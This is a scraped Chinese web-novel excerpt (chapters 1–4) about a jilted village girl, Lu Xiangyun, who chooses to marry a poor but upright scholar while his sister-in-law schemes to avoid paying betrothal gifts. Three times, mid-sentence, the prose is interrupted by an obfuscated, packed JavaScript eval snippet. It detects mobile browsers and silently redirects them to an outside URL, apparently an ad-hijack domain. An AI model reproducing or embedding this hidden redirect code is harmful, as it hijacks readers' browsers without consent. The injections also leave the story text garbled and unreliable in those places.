《古代村居种田手册》 1. 辜负 大夏朝宝庆七年，二月春寒，残年刚过，陆家村的空气里，还激荡着一股寒气。 村西陆木匠家的院子里，墙角的迎春花却悄然开放了。 “湘云，你就吃一点吧，你这样不吃不喝，叫爹娘心里怎么受啊！”陆木匠的大儿媳妇张大嫂端着一碗煮得烂烂的米粥，坐在床前苦苦劝着自己的小姑子陆湘云。 湘云紧闭双眼，苍白的脸上没有血色，也没有丝毫的情绪波动，好像压根没听见她嫂子的话。 见小姑子不为所动，张大嫂叹了口气，将那碗米粥放在床头的柜子上，蹑手蹑脚走了出去。 她来到公婆的房里，只见公公陆木匠和婆婆陆老太一个在窗户底下纳鞋底，一个坐在床边的凳子上搓麻绳。 见大儿媳妇进来了，两个老人不约而同停了手里的活计。 陆木匠就问：“怎么样了？肯吃了吗？” 张氏用牙齿咬了咬嘴唇，摇了摇头。 陆老太见状，不由得深深叹了口气，随即又咬牙切齿地道：“罗家那个杀千刀的小子，早晚要遭报应的！” “哎，老婆子，别说什么报应不报应的，现在就是人家娶了京城里的大家闺秀，靠着老丈人吃香喝辣，把咱们闺女撂在了半路上，不上不下的，去了半条命！”陆木匠的嗓子哑哑的，喉咙像渗了血。 “当日，我就说罗文那小子油头滑脑，狡诈多计，不是良人，可是湘云却被那小子的花言巧语骗了，偏要跟他相好，如今被人辜负，也是她命里该有的劫数。”说到这里，陆老太长叹了一声。 张氏看了一眼窗外有些阴沉的天。 这天，像是要下雨的样子，如今这个光景，是一场春雨一场热，春寒终究会消散的。 小姑子被青梅竹马的心上人辜负，那罗文上京赶考之后落榜，居然就在京城娶了户部侍郎的女儿，也不知道那官家小姐看上了他什么？应该是那张俊脸吧，那小白脸的英俊，可是四里八乡都出了名的。 只可惜了自己的小姑子，如花似玉的一个闺女，已经十八岁了，她跟罗文相好，一心一意想嫁给罗文，这一带谁都知道。 罗文攀高枝另娶了，湘云估计要嫁不出去了。 现在，最好就是给湘云挑一门好亲事，才能堵住众人的嘴，才不至于让别人看他们老陆家笑话。 想到这里，张氏就说：“爹，娘，现在，咱们说那姓罗的小子已经没什么用了，得赶紧托媒婆给湘云说一门好亲事，才是正理。” 听了媳妇的话，陆木匠老两口对望一眼，都觉得媳妇说得有道理。 思索了一会，陆木匠就说：“老婆子，你去找咱们村的曹媒婆，湘云这边，我来劝。” 陆老太知道丈夫素来精明能干，定有办法能劝动闺女，于是点了点头，站起身来：“我现在就去。” 这里，陆木匠一径来到女儿的房里。 经过院角的时候，他看见那一丛迎春花开得灿烂，心里一动，就上前采摘了几朵，拈在手里，这才推开了女儿的房门。 “云儿！云儿啊！你快起来看看，爹给你带什么来了？” 陆湘云依然一动不动地躺着。 陆木匠将那束迎春花放在女儿的枕边。 淡淡的清香沁入陆湘云的鼻息，她的眼睛睁开了。 映入眼帘的，是几朵黄灿灿的迎春花。 “云儿啊，爹知道，你心里难受，你需要躺下来，好好养你心里的伤。可是，伤，总有好的时候，日子，咱还得朝前过啊。” 听了爹的话，湘云心里一动：“爹，你不担心我会想不开寻短见？” “爹不担心，爹知道，你不是那个怂包软货的性子，只是这件事太突然，你一时没想清楚接下来该怎么办罢了！”陆木匠笑呵呵地说。 听了她爹的话，湘云心里一阵感动。 果然，最懂她的，还是她的老爹。 她当然不会去寻短见，为一个负心汉，根本不值得。 她只是需要一点时间，去接受这件事情，去想想，以后的路到底该怎么走。 所以，无论她娘也好，她嫂子也好，劝她吃饭的时候，越劝她就越烦。 “云儿啊，过两天，就是你的生日了，当年你出生的时候，院子里的迎春花也开得跟火烧一样，你呀，就该跟这迎春一样，在春寒的时候开，开了，春天就到了。” 湘云坐起身来，把那束迎春花拿在手中，闻了又闻：“爹，我娘呢？我想吃她摊的鸡蛋饼了。” “昨天，有媒婆到我们家给你说媒，你娘去答复人家去了。”陆木匠巧妙地说。 这个时候，他不想伤女儿的脸。 湘云微微一笑：“这个时候，居然还有人来提亲，会是什么人呢？该不会是娶不到老婆的吧？” 陆木匠一楞，登时有些不知道该怎么回答是好。 一时，陆老太回来了，陆木匠就说：“快做鸡蛋摊饼，你闺女要吃饭了。” 陆老太一听，又惊又喜，急忙说：“我现在就去厨房，给她做去！” 陆木匠紧跟其后，来到厨房，压低了嗓音：“怎么样？媒婆怎么说？” “哎，媒婆说，咱们云儿和罗文那小子的事情，附近几个村子都知道，要说，得往远处说去，她慢慢寻访着看。”陆老太皱眉道。 陆木匠没说话，只是在灶下慢慢烧火，给陆老太打下手。 这时，院门外突然传来敲门声。 陆木匠就起身去院子里开门。 门开处，只见他们村的赵三婶儿笑眯眯地站在自己家门口。 “哎呦，赵三婶儿，这是哪阵风把您给吹来了啊！”陆木匠有些惊讶，他们家和赵家素无往来，赵三婶也从来没有来他家串过门。 “我是无事不登三宝殿，我来给你家湘云丫头提亲来了。”赵三婶快人快语，直奔主题。 陆木匠一听，登时有些发愣。 “老陆，你不打算请我进来坐坐吗？还是你不想嫁女儿了？” 陆木匠这才反应过来：“进来说话，进来说话！” 他把赵三婶儿领到厨房，对老伴说：“老婆子，赵三婶儿来给咱们云儿提媒的。” 一听这话，陆老太登时心里一喜，这个时候来人提媒，可真是太暖他们一家人的心了。 赵三婶是个爽快人，于是就说：“老嫂子，我提的是杏花村的姜家，你可听说过没？” “杏花村？姜家？”陆老太在脑海里寻思着，好像自己从来没有听说过这户人家。 “杏花村的杀猪匠姜老头，他的老儿子姜四郎，大名姜瑞智！”赵三婶自动解释道。 “哦哦，你这一说，我就知道了！这人老实巴交的，一天到晚不吭声，有一年咱们家还请他杀过年猪，他那个儿子，倒是机灵得很。”陆木匠想起来了。 “那是跟他一起学杀猪的大儿子，姜老大，现在姜老头老了，杀猪的手艺传给了姜老大了，那姜老大的精明能干，可是出了名的。” “那这姜四郎……”陆老太最关心的，还是未来女婿的人选。 “老嫂子，你放心，这姜四郎今年十九岁，不但模样俊俏，而且满腹诗书，现在还在乌山村的私塾里读着书呢。”赵三婶说。 一听说对方年轻英俊，又是读书人，陆木匠不由得在心里犯了嘀咕：“她婶儿啊，按说，这姜四郎条件不错啊，应该有大把的好姑娘上赶着要嫁，怎么就巴巴的来求我家云儿了？” “这我可就不知道了，这桩亲事啊，还是姜老大的媳妇，姜家大嫂托我来你们家提的呢。” 陆老太又问：“那这姜家，家底怎么样啊？” 她可不想女儿嫁过去受苦。 这一问，赵三婶就有些支支吾吾：“这个——姜老头杀了一辈子猪，按说是能攒下一点家当的。可是，他儿子太多了，一共四个儿子，娶了三个媳妇以后，也就不剩下什么了。还有，那姜老头三年前已经过世了，剩下姜老太，是跟着大儿子过的。” “那照你这么说，那姜四郎是跟着大哥大嫂过活的？”陆木匠问。 “也不是，姜四郎么，谁也不跟，就一个人过。他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15147847|164752||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 家有个老房子，虽说破烂了些，可也能遮风挡雨。”赵三婶道。 陆老太听了，不由得皱了眉头：“那这姜四郎，住在破烂的老房子里，一个人过活，又在学堂里读书，平时靠什么过活？” 赵三婶道：“姜老头过世以后，姜家分家，把所有田地和钱都分给了三个儿子，只留下五亩水田，姜四郎租给了别人，换得一些粮食，好在学堂里的王先生欣赏姜四郎，免去了他的学费。” 陆木匠一听，心里就是一沉，五亩水田，租给别人，一年收的地租，也只够糊口的，而且只能糊一个人的口。 见陆木匠和陆老太脸有不豫之色，赵三婶又道：“老嫂子，这姜四郎一介书生，肩不能挑手不能提，他要田地也不会种啊，要那么多田地做什么？还有，他眼看就要出师了，到时候可以开馆或者到大户人家去做馆，都是能挣钱的啊。” 陆木匠和陆老太对望一眼，随后，陆老太就说：“她三婶啊，谢谢你的好意，我们呀，还要再商量商量，三天后给你回话，成不？” 赵三婶点了点头，便告辞走了。 “他爹，你看这亲事？”陆老太忍不住问。 陆木匠叹了口气：“听起来孩子是不错，可是，家也着实太穷了些，怕云儿嫁过去，要受苦的啊！” “虽说是将来可能开馆做馆，可是这也都是说不定的事情啊，读书人多了去了，也没见个个都去当教书先生啊。”陆老太担心地说。 老两口光顾着在厨房里商议此事，却没想到，湘云早已站在厨房的窗下，将赵三婶以及爹娘的话听了个清清楚楚。 见爹娘不说什么了，湘云就蹑手蹑脚地回到房里。 一时，她娘端了鸡蛋饼来，湘云已经几天没吃饭了，此时心情平复了些，就大口大口地吃起了香喷喷的鸡蛋饼。 见女儿恢复了食欲，陆老太这才放了心，又陪女儿说了会话，就嘱咐女儿好生歇着，自己关门出去了。 见娘没将姜家提亲的事告诉自己，湘云心里就知道，她娘压根就是不想同意这门婚事了。 湘云长长地出了一口气，盯着窗外阴沉沉的天，陷入了沉思。 身边的女孩儿家，一般在十五岁以后就开始议亲嫁人了。 像她这样到了十八岁还没有成亲的，除非都是有毛病的，或者是有别的什么特殊原因的。 自己就是因为罗文要上京赶考，生生把婚事拖了两年，才拖成了众人眼里的老姑娘。 想起罗文，她的心里一阵揪心地痛。 这个男人给她带来的耻辱感，比带给她的伤害要多得多。 湘云现在只是奇怪，她当初怎么就瞎了狗眼，看上了这么个嫌贫爱富背信弃义的男人？ 湘云记得，娘曾经说过一句话：“不是每个女人，都能嫁给自己原先相中的男人，可是，真正会过日子的女人，不管嫁给谁，都能把日子给过好。” 娘说这话的时候，是有所指的。 娘说的就是她自己的娘家嫂子，湘云的大舅妈。 大舅是个老实巴交的人相貌平凡的人，配不上聪明漂亮的大舅妈，可是大舅妈家里太穷了，贪图大舅家给的聘礼多，就把大舅妈嫁给了大舅。 大舅妈开始虽然看不上大舅，可是成亲以后，她开始整顿自己的小家庭，让大舅对她言听计从，敬爱有加，大舅妈当家作主，把日子过得那叫一个红火，三个儿子个个出息又孝顺。 如今，大舅妈儿孙满堂，尽享天伦之乐，附近这一带的人，提起大舅妈，哪个不是竖起大拇指赞一声好。 而大舅，对大舅妈别提多宝贝了。 去年过年，湘云随爹娘去大舅家拜年，几个老的在一起边吃点心边拉家常，大舅拿起一块柿饼，尝了一口，说：“这柿饼真甜，娘子，你爱吃的甜的，来！” 说完，就把那柿饼往大舅妈嘴里塞。 那叫一个宠爱，看得众人都不好意思了，大舅却浑然不觉。 想到这里，湘云决定，明天就去打听一下，那个传说中的姜四郎，到底是个什么样的人。 2. 姜大嫂的小算盘 此时，姜老大家里的厨房里，姜母也正在和媳妇讨论着小儿子的婚事。 “我说他大嫂啊，你说，老四这孩子，是不是读书读傻了，明知道陆家那丫头是别人抛下的，还要让你托人去提亲？” “娘，我看老四不是傻，是想捡漏呢。”姜大嫂笑道，她是个清瘦的妇人，一脸的精明相。 “捡漏？”姜母不解。 姜大嫂道：“听说陆家那丫头，生得很是美貌，相好的那个小白脸也是非常的俊。你想想，那小白脸若是不俊，能被京城里的官家小姐看上？那小白脸原本相好的，就是陆家姑娘，陆家姑娘能差得了？” “可是，这说出去，好说不好听的啊！”姜母犹豫道。 姜大嫂噗嗤一笑：“娘，就凭咱们家这个家境，爹又没了，一般的姑娘家都看不上我们家老四，怕嫁过来饿肚子，何况是漂亮姑娘？这回难得有个漂亮姑娘落了难，不正好捡漏？” 姜母便问：“老四让你托人提亲的时候，是这样说的么？” “那倒没有，老四多有心眼的一个人，就算心里是这样想的，也不会直接说给我这当嫂子的听啊！他只是叫我托人提亲而已，其余什么都没说。”姜大嫂道。 姜母沉吟道：“天还没黑，你现在就去把老四叫来，我问问他，究竟是怎么想的。” 姜大嫂答应了一声，就出去了。 不一会，姜四郎就跟着她大嫂进了屋。 看着小儿子高大挺拔的身形，英武的样子，姜母心里涌起一股骄傲之情，四个儿子里头，就数这个老小生得最像他爹！ 她伸出自己干瘦的手掌，将小儿子拉到自己身边，摸了摸他身上的棉袍，怜爱地道：“天还冷着呢，你这棉袍里的棉絮，可厚实啊？穿着可暖和啊？” “娘，我不冷。” 姜母就说：“儿啊，你是不是鬼迷了心窍，怎么让你大嫂去提陆家那丫头？” 见母亲的语气里，似有责备之意，姜四郎就将眼珠转了几转：“娘，这还不都是因为您么！” “因为我？怎么说？”姜母好奇地问。 “您天天愁我的婚事，怕我娶不上媳妇，我不得赶紧娶一个来家啊！”姜四郎似笑非笑。 “可是，你要娶，也得娶个好的吧，你娶个名声不好的……”姜母不满地道。 姜四郎轻轻咳嗽一声：“娘，我跟您保证，陆湘云是个好姑娘，嫁过来绝对是好媳妇！” “四弟，你咋知道那姑娘是个好姑娘？你以前认识她？”姜大嫂好奇地问。 姜四郎笑道：“我认识她，她不认识我，大嫂，你别问那么多了，只管提亲就是，成了，小弟感激不尽！” 见儿子如此坚持，姜母有些急了：“你——你又不是娶不上媳妇……” “娘，咱们家的家境，老四娶媳妇还真有点难！”姜大嫂插嘴道。 姜母看了儿媳妇一眼，不满地闭了嘴。 见母亲不再说话了，姜四郎就说：“成，那我回去看书了。” 见儿子走了，姜母哼了一声，站起身来，也去了堂屋。 这时候，姜老大进了厨房，他在院子里搓麻绳，把厨房里的对话都听得清清楚楚，他对妻子说：“娘昨天就跟我说，不满意这门亲事，你为啥那么上心？” 姜大嫂抿了抿嘴，一把拉住丈夫，贴着他的耳朵，低声道：“你傻呀，这样一个坏了名声的姑娘，他们家还敢开口要聘礼吗？” 姜老大一听，立刻恍然大悟。 他一拍脑袋，笑道：“娘子，还是你聪明啊！娘一向偏疼老四，上次分家，咱们也是费了九牛二虎之力，才让她点头跟了咱们过的。” 姜大嫂冷笑道：“既然跟了咱们过，那她手里的东西，就都是咱们的了，哪里还由得她去拿出来给老四做聘礼！” “对！老四人样长得好，实在不行，就给人做倒插门女婿，也是不错的，反正你们姜家儿孙够多了，又不指望他传宗接代！”姜大嫂沉吟着道。 姜老大看了妻子一眼，觉得妻子说话有些难听，不过，翻心一想，也是这么个理儿。自己已经有了两个儿子，又不指望弟弟给自己养老送终，弟弟以后如何，也不管他这个当哥哥的事！ 陆家村离乌山村，只有短短三里路。 湘云的二姑，就住在乌山村，两家常来常往，两村之间的那条墨绿色的林间小路，早就被湘云走过了无数遍。 这天一大早，湘云就拎了个竹篮，跟娘说看看外面可能挖到荠菜，就出了门。 然后，她一路直奔乌山村。 到了她二姑家，二姑全家刚吃早饭。 见她来了，二姑忙道：“云丫头啊，你怎么来了？可吃饭了吗？” “二姑，我一早起来就吃过了，我找表哥有事的。” 湘云的二姑只生了一个独子，就是她表哥周青，比湘云大两岁，还在乌山村茶园的私塾里跟着王先生读书。 周青听了，就抓起一个玉米饼子，顺手将墙上挂的书篓拎起来：“妈，我吃得差不多了，这就上学去，湘云，咱们一块。” 表兄妹俩人出了门。 走到了茶园无人处，周青这才停了下来，凝视着湘云：“妹子，你近来还好吧？” 罗文就是从乌山书社里走出去的学子，跟周青同窗。 湘云和罗文的事情，周青当然知道，他很担心表妹，于是有此一问。 湘云苦笑一声：“那负心薄情的人，还提他作甚。” “我在学堂里，听其他学子们说，那户部侍郎的岳父，乃是国子监祭酒，门生遍布朝野。下次秋闱，估计这厮要高中了。”周青低声道。 “原来那家素有仰仗裙带的家风！”湘云冷笑一声，随即又道：“表哥，未来的进士老爷，咱们就不要再去妄加议论了，就当这人，咱们从来就不认识。” 周青点了点头：“那你来找我，是有什么事么？” “我想找你打听一个人！” “什么人？” “杏花村的姜四郎，姜瑞智！” 周青一怔：“你打听他做什么？” 见湘云不答，脸上却微微有些飞红，周青立刻恍然：“妹子，有人给你说亲了？” 湘云点了点头。 周青微微皱眉：“既然有人上门提亲，那媒人应该是会把姜四郎的家境说清楚的，他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15147848|164752||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 家的情况你可知道了吗？” “媒人说，他父亲过世，母亲随大哥过活，自己只有五亩田地，租给别人，他自己是不会种的。” “既然你都知道这些了，自然会明白，他家无隔宿之粮，嫁给他，是要三餐无继的。” “表哥，我不是问你他的家境，我问的是，姜四郎这个人，究竟如何？”湘云缓缓道。 周青不解：“妹子啊，人再好，你嫁过去，总不能啃人吧？” 湘云用牙齿轻轻咬住嘴唇，没有说话。 她当然知道姜四郎家穷，可是，罗文家里有良田五六十亩，还开着油坊，在这一带算是富裕的呢，最终结果就是负心薄幸。 自己在这一带的名声已经坏了，不是她妄自菲薄，而是事实摆在眼前，若想嫁给一个品貌好，家境好的夫君，这辈子怕是不可能了。 品貌和家境，自己只能选择其中之一。 在这两者之间，湘云想都没想，选择了品貌。 没有家业，以后可以创立家业。男人的人品不好，或者相貌丑陋，那可是一辈子的事情啊！ 只不过，这些话，她不好对着自己的表哥明说。 于是，她缓缓道：“表哥，你只告诉我，这姜四郎，平日里为人究竟如何？” 周青仔细想了一想，认认真真地道：“人品端方，甚是聪明，平时里与人交往不卑不亢，书也念得甚好，很得王先生赏识，先生还免了他的学费。” 听了这话，湘云嘴角不由露出一丝微笑。 周青也笑道：“至于他的样貌么，妹子，你随我来……” 说完，他就转头朝茶园的另外一条小路走去。 湘云知道表哥必有缘故，于是就跟了过去。 周青走了一段小路，来到茶园边上，这里尽是一株株一人合抱不过来的大柳树。 周青拉着湘云，来到柳树后，轻声道：“这条路，就是杏花村的学子们上学的必经之路。我们今天来得很早，咱们躲在树后，很快就能看见姜四郎。” 湘云点了点头。 两人静静呆了一会，周青就说：“来了，就他一个人，穿蓝色布袍的那个。” 说完，周青就躲到了另外一株大柳树后。 湘云躲在树后，微微探头，只见茶园边的小路上，一个穿着蓝色布袍的挺拔身影缓缓而来。 待到走得再近一些，湘云看清楚了他的模样。 剑眉朗目，肤色不甚白皙，可是，胜在五官轮廓深邃，虽及不上罗文那般美貌，却多了几分阳刚之气，显然是一个气宇轩昂的少年郎。 这般相貌，在男子之中，的确已是上等。 过了一会，姜四郎走得远了，周青就来到湘云面前，笑道：“如何？单论样貌，是能配得过你的！” 湘云抿嘴，微微一笑：“我没看清楚！” 周青哈哈一笑：“那就等洞房花烛夜，再好生看清楚吧。” “表哥，你可别那么早打趣我，我还要再访访呢。”湘云认真地说。 “你还要再访什么？” 湘云沉吟道：“终身大事，岂可草率！” 周青点了点头。 3. 说定 “云儿啊，你大嫂这白面饼烙得不错，又松又软，你尝尝！” 午饭桌上，见女儿光喝青菜汤，也不吃饭，陆老太就拿起一块大饼递给女儿。 湘云看了一眼大饼。 用白面烙饼，在乡下，算是一顿比较奢侈的午饭了。 即便是她爹有着木匠手艺，又只有她大哥二哥两个儿子，在陆家村算过得中等的人家，也不能顿顿都吃大米白面。一个月里头，至少有半个月，是吃玉米和黑面等粗粮的。遇见年成不好的时候，为了节省粮食，她们家还要上山挖野菜充饥。 陆老太心疼女儿，见女儿前两天不吃饭，整个人都瘦了一圈，这几天就特意嘱咐儿媳妇，顿顿做些大米白面，整些个湘云爱吃的菜。 “娘，今儿我去树林子里搂草，遇见赵三婶了，她说，三天期限快到了，姜家又来问了几遍，对这门亲事很是热心，她问你们思量得如何了，这亲事，到底答应不答应。” 陆大嫂说着，又看了一眼小姑子。 只见湘云好像没有听见她的话一样，只顾拿大饼蘸碟子里的虾米黄豆酱吃。 听了儿媳妇的话，陆木匠不由得皱了皱眉头。 他看了老婆子一眼，然后放下筷子，轻声道：“咱们云儿，打小就爱吃白面饼，那姜四郎只有五亩田地，自己还不会种，怕是一年到头，只有过年的时候，才能吃上一回白面饼吧。” “是的，咱们云儿，可不能吃那样的苦！”陆老太坚定地说。 于是，一家人就转了话题，继续吃饭。 吃完饭，全家人就去午睡了。这里的人都有午睡的习惯，只因地里的活儿太重，干了一上午，中午若不在床上躺一会，下午就很难保持充沛的体力去干那些农活。 陆家老两口回到房里，还没睡下，就听见湘云在外面说：“爹，娘，你们可睡下了？” “还没呢，你进来吧。”陆老太道。 湘云便推门走了进来。 她说：“爹，娘，姜家那门亲事，你们就应了吧。” “什么？”陆木匠和陆老太都吃了一惊。 “闺女，你莫不是被罗文那小子弄得失心疯了吧？”陆木匠皱起眉头，一脸的不可思议。 “云儿啊，那户人家可穷着呢！你去了，连饭都吃不饱的啊！”陆老太语重心长。 湘云一脸的郑重其事：“爹，娘，我仔细想过了，五亩地，自己种的话，是能吃上饭的。” 陆木匠道：“咱们这一带是出了名的鱼米之乡，水田旱地都肥沃，五亩水田，是差不多够两个人的口粮，可是，你柴米油盐从哪里来？你穿衣吃肉的钱从哪里来？成亲以后总是要生孩子的吧？到时候孩子的嘴要扎上不吃么？” 湘云缓缓道：“爹，死种地是过不上好日子的，我和姜四郎都年轻，想点子做些小生意小买卖，总能糊口的。” 看着湘云信心满满的样子，陆老太叹了口气：“闺女啊，俗话说得好，算得有吃得无！过日子不是你想的那样，再说，你找个富足人家，就不用你自己去辛苦挣钱了啊。女人家自己做买卖挣钱，那得多累多苦啊！” 湘云轻声道：“爹，娘，我心意已定，你们就随了女儿的意思吧。” 见女儿神色甚是坚定，陆木匠和陆老太又是对望一眼，心里也明白，若想给女儿找个富足人才又出众的夫婿，是不可能的了。 想那姜四郎虽说穷些，可是人样生得俊，又是读书人，古话说，莫欺少年穷，罢了！ 想到这，陆木匠就说：“云儿，你既然自己愿意了，那爹娘就随你了，明儿赵三婶来，就给她回话，让你们择日定亲吧。” 湘云点了点头。 陆木匠看着女儿，叹了口气：“云儿，这门亲事，是你自己选定的，你自小就是个有主意的人，你决定的事，爹娘也拗不过你。只是，你以后，要受苦了。” 湘云缓缓道：“有人就有钱，苦钱苦钱，不苦哪来的钱！” “嗯，听说姜四郎的老娘是跟老大过的，他穷成那样，估计也拿不出什么聘礼了，老婆子，要不，这聘礼，咱们就不要了吧。”陆木匠看了一眼陆老太。 陆老太急忙点头：“就是，那样一个家，还要什么聘礼啊。” “不行，爹，娘，这聘礼，必须得要！”湘云立刻道。 陆老太哎呦了一声：“云儿啊，那样的家境，他拿什么给我们聘礼啊？” 湘云微微一笑：“没有钱置办聘礼，他就不会想办法么？若是没有办法，就别来提亲，谁家娶媳妇不给聘礼啊？偏他家例外？” “那——”陆老太说不出话来了。 湘云又道：“你去告诉赵三婶儿，亲事我答应了，不过，聘礼要按咱们这里的风俗置办，可以不多，但是绝不能少！少一样，我都不答应！” 陆木匠和陆老太又是对望一眼，都点了点头。 杏花村，姜老大家。 堂屋里，赵三婶儿一脸的喜气洋洋：“恭喜恭喜，姜大嫂啊，陆家答应了这门婚事了！” 姜大嫂一听，也很是高兴，立刻道：“三婶儿啊，这可多谢您老了，您放心，那谢媒礼，我一定少不了。” 赵三婶笑道：“你今晚就去跟你家婆婆，还有你老四商量一下，到底定在哪一天定亲，我好去陆家村回话。” 姜大嫂点了点头，突然又道：“三婶儿啊，那这聘礼的事情，陆家怎么说啊？” “聘礼的事情啊，陆家让你们看着办，按照惯例，不比别人差就是了。”赵三婶忙道。 姜大嫂的笑容有些凝固了。 她从桌子上的粗瓷碟子里拿起一块白糖糕，放在嘴里，咬了一口，慢慢地嚼着。 “怎么？这聘礼，你们嫌多了？”赵三婶儿试探地问。 姜大嫂笑吟吟地道：“三婶啊，我们家老四这家境，你又不是不知道，他哪里拿的出聘礼么。” 三婶听了，不由得皱起眉头，不高兴地说：“怎么，你的意思，难道你们老姜家就不给聘礼了？我老婆子给人保 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15147849|164752||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了一辈子媒，还没听说过这样的荒唐事呢！” “哎呦三婶三婶，您可别生气，我就是随口一说，我不是那个意思！”姜大嫂忙笑嘻嘻地将碟子往她面前推：“来来，吃点心，吃点心，咱们再慢慢计较。” 赵三婶哼了一声：“人家养大一个女儿，总不能白给了你们家吧？” “是，是这么个理儿？只是，我家老四穷成这个样子了，实在是拿不出聘礼啊！婶儿啊，您说这该怎么办是好呢？”姜大嫂恳切地道。 “再怎么穷，也得拿点聘礼出来吧，没有多，总有少吧？”赵三婶道。 姜大嫂面露为难之色：“不瞒您说，还真是一点没有。三婶啊，您看，这两个人也都老大不小的了，尤其是那姑娘家，今年都十八了。出了那档子事，估计，这两年也没什么人上门提亲吧。” 赵三婶冷笑一声，没有说话。 她算是看出了姜大嫂心里的小九九。 说白了，不就是仗着湘云的名声坏了，想不花钱白捡个媳妇么！ 三婶和湘云一个村的，好歹算是看着湘云长大的，她当然不高兴！ 于是她淡淡地道：“再怎么说，你一点聘礼没有，是不可能的！你家老四要是实在拿不出，我可以去说说，让她们家少要点是正经。” “哎，少要点，又能少多少啊，这办婚事也都要钱呢！”姜大嫂叹息道。 赵三婶就说：“我是媒人，只管两头传话，我先回去问问，陆家到底要多少彩礼，再来跟你说吧。” 说完，她便起身告辞走了。 姜大嫂将她送到院门口，转身便去了自家菜园。 她家的菜园就在屋后，菜园里，她丈夫姜老大正在拿铁锹挖地。 见妻子来了，姜老大放下了铁锹，用手背擦了擦额头上的汗水：“怎样？那陆家说要多少聘礼？” “陆家没说，赵三婶那老货倒是坚持要老四给聘礼。”姜大嫂哼了一声。 姜老大皱起眉头：“娘子，不给聘礼这事，说起来是有些悬乎，恐怕陆家不会愿意。” 姜大嫂竖起眉毛：“不愿意？哼！你也不想想，现在，除了你四弟这个缺心眼的，要去求娶她之外，这十里八乡，倒还有谁能去到她家提亲！” “哎，你也说了，是老四自己非要去提亲的，说起来，还是咱们家求着人家，不是人家女方上赶着咱们啊！”姜老大沉吟道。 “那也不行，你娘手里那些东西，绝不能浪费在给他娶亲这事上头！”姜大嫂语气坚定无比。 姜老大笑道：“说起来，娘那些东西，收得也够紧密的，娘子，你说，老四究竟知不知道娘手里还有些东西？” 姜大嫂沉思道：“估计是不知道，不光老四不知道，老二和老三，还有你那三个姐妹，估计都不知道。尤其是老三，就你三弟媳那泼辣劲儿，她要知道了，还不闹腾死，能甘心让你娘跟着我们过活吗！” 姜老大点了点头，笃定地说：“不知道好啊，不知道就好！” 4. 拿捏 这天，是个难得的艳阳天。 太阳暖融融的，把院子里原本因下雨而变潮湿的地晒得透干透干。 陆老太一大早起来，就端了一个簸箕，坐在堂屋里剥花生米。花生米无论是水煮，还是油炒，还是熬酱，家人都喜欢吃。 这时候，赵三婶就推开她家虚掩的院门，走了进来：“老嫂子，剥花生米呢？” “哎呦，她三婶，快来吃花生米，我家今年收的花生，个头都挺大的。”陆老太急忙起身热情招呼。 赵三婶一贯的爽快，坐定之后，就直接说起了湘云的亲事：“那姜家听说你们应了这头婚事，高兴极了……” 听了这话，陆老太的眼睛不由得笑眯成了一条缝。 “只是，姜大嫂说，他们家太穷了，那聘礼，看看你们家，能不能少要一点。”赵三婶慢吞吞地说。 想起女儿的话，陆老太坚定地摇了摇头：“就按照咱们这里的乡俗办吧。” “咱们这里的乡俗，定亲的聘礼要十两银子，一枚金簪，其余首饰布匹可加可不加，老嫂子，姜家家贫，要不，就十两银子，一枚金簪得了？”赵三婶试探地问。 陆老太点了点头。 赵三婶就说：“成，我明天再去杏花村一趟，把你们的意思带到。” 说完，她就起身说：“我回家了，我家里的腊肉还在锅里煮着呢。” 赵三婶走后，湘云从隔壁房间里走了出来。 见女儿出来了，陆老太就说：“云儿，你瞧，你三婶刚刚说的话，那姜家叫咱们少要一点呢。” 湘云嗯了一声：“赵三婶还说，这个话，是那姜大嫂说的？” “哼，本来咱们还想不要聘礼来着，可是姜家大嫂既然这样说了，那可就不能不要了。”陆老太气呼呼地说。 湘云来到她娘面前，蹲下身子，也抓了一把花生剥了起来：“娘，我说得没错吧，人家已经生出了拿捏咱们的心，就越发不能被人小瞧了去。” “罢了，闺女，大不了这户人家咱们不要了，爹娘养你一辈子！”陆老太越想越气。 湘云眼珠转了几转：“娘，莫要轻易下定论，我就问你，到咱家提亲，究竟是姜大嫂的主意，还是姜四郎本人的主意？” 陆老太仔细想了想：“不知道，你三婶儿没说。” 湘云沉吟道：“那姜大嫂是个精明厉害的主儿，当年姜家分家时，她得利最多。因为婆婆年轻能干，她又在公公死了以后，一把将婆婆拉到了自己家，丢下姜四郎一人孤苦伶仃度日。她能这么好心，上赶着给姜四郎说亲？” 见女儿对姜家的情况这么了解，陆老太大吃一惊：“云儿，你去过杏花村？你怎么会知道那么多？” “娘，我人不去杏花村，就不会找人打听么。杏花村离咱们村不过十来里路，还有那么多学子们在乌山村学堂里读书，我又怎么会连这点事都打听不出来？”湘云将一把花生米扔进了粗瓷大碗里。 